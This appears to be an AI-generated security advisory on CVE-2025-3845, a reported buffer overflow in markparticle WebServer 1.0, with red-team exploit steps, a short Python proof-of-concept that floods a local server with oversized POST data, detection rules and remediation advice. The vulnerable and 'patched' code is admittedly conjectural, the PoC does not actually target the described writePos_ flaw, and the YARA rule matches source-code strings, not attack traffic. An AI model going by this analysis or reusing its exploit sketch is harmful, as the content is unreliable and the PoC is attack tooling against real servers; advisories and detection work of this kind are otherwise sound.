CVE-2025-3845

Executive Summary

CVE-2025-3845 is a critical buffer overflow vulnerability in markparticle WebServer version 1.0. The flaw resides in the Buffer::HasWritten function within code/buffer/buffer.cpp, where manipulation of the writePos_ argument leads to a buffer overflow. This vulnerability can be exploited remotely, and a proof-of-concept (PoC) has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making this a high-priority threat for any organization using this software.

Supply Chain & Package Security

This vulnerability is not associated with NPM, PyPI, Go, or Ruby packages. It is a standalone C++ application (markparticle WebServer). Organizations should verify if they are using this software and consider immediate mitigation.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, the vulnerability is described as "critical" due to the following factors:

• Attack Vector (AV): Network (remote exploitation possible)
• Attack Complexity (AC): Low (no special conditions required)
• Privileges Required (PR): None (no authentication needed)
• User Interaction (UI): None (no user action required)
• Impact: Likely high confidentiality, integrity, and availability impact due to buffer overflow leading to code execution.

Threat Level: Critical. The combination of remote exploitability, public PoC, and no patch makes this a severe risk.

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the Buffer::HasWritten function. The function likely checks if data has been written to a buffer, but it does not properly validate the writePos_ argument. By supplying a crafted value for writePos_, an attacker can cause the function to write data beyond the allocated buffer boundaries.

Technical Details:

• File: code/buffer/buffer.cpp
• Function: Buffer::HasWritten
• Argument: writePos_
• Issue: The function uses writePos_ as an index or offset without bounds checking. If writePos_ is larger than the buffer size, the function writes to memory outside the buffer, corrupting adjacent memory.
• Exploitation: An attacker can send a specially crafted request to the WebServer, triggering the overflow. This can lead to arbitrary code execution, denial of service, or information disclosure.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Conceptual):

void Buffer::HasWritten(int writePos_) {
    // No bounds check
    buffer[writePos_] = data; // Buffer overflow if writePos_ > buffer size
}

Patched Code (Hypothetical):

void Buffer::HasWritten(int writePos_) {
    if (writePos_ >= bufferSize) {
        // Handle error or resize buffer
        return;
    }
    buffer[writePos_] = data;
}

The fix would involve adding a bounds check before writing to the buffer. Without an official patch, users must implement their own mitigation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• markparticle WebServer 1.0 running on a target system.
• Network access to the server.

Exploit Steps:

1. Identify the vulnerable endpoint that triggers Buffer::HasWritten.
2. Craft a payload with an oversized writePos_ value.
3. Send the payload to the server.
4. The overflow can overwrite return addresses or function pointers, leading to code execution.

Example PoC (Python):

import socket

target_ip = "192.168.1.100"
target_port = 8080

# Craft payload with large writePos_ value
payload = b"POST / HTTP/1.1\r\n"
payload += b"Host: " + target_ip.encode() + b"\r\n"
payload += b"Content-Length: 100\r\n"
payload += b"\r\n"
payload += b"A" * 1000  # Overflow data

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload)
sock.close()

Blue Team (Detection & Defense)

Detection:

• Monitor for abnormal HTTP requests with excessively long headers or body.
• Use network intrusion detection systems (NIDS) to flag requests with unusual patterns.
• Enable application logging and monitor for crashes or segmentation faults.

Defense:

• Implement a Web Application Firewall (WAF) to filter oversized requests.
• Apply input validation and sanitization on the server side.
• Use address space layout randomization (ASLR) and non-executable stack (NX) to mitigate exploitation.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with Content-Length values exceeding normal limits.
  • Requests containing long strings of repeating characters (e.g., "AAAA...").
• Host IOCs:
  • Unexpected crashes or segmentation faults in the WebServer process.
  • Log entries showing buffer overflow errors or memory corruption.
  • Unusual network connections from the server to external IPs (post-exploitation).

Detection Engineering

YARA Rule

rule CVE_2025_3845_Buffer_Overflow {
    meta:
        description = "Detects exploitation attempts of CVE-2025-3845 in markparticle WebServer"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-3845"
    strings:
        $s1 = "Buffer::HasWritten" ascii wide nocase
        $s2 = "writePos_" ascii wide nocase
    condition:
        $s1 or $s2
}

Sigma Rule

title: CVE-2025-3845 Buffer Overflow Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with abnormally large content length or body size targeting markparticle WebServer
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: markparticle
detection:
    selection:
        http.method: "POST"
        http.content_length: ">10000"  # Adjust threshold as needed
    condition: selection
falsepositives:
    - Legitimate large file uploads (unlikely for this server)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3845 Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"Content-Length|3a|"; http_header; pcre:"/Content-Length:\s*\d{5,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected server from the network if possible.
2. Apply a WAF rule to block requests with Content-Length exceeding a reasonable threshold (e.g., 10KB).
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Since no official patch exists, consider replacing markparticle WebServer with a more secure alternative.
• If replacement is not possible, implement a custom patch by adding bounds checking in the Buffer::HasWritten function (requires source code access).
• Contact the vendor for an official patch.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.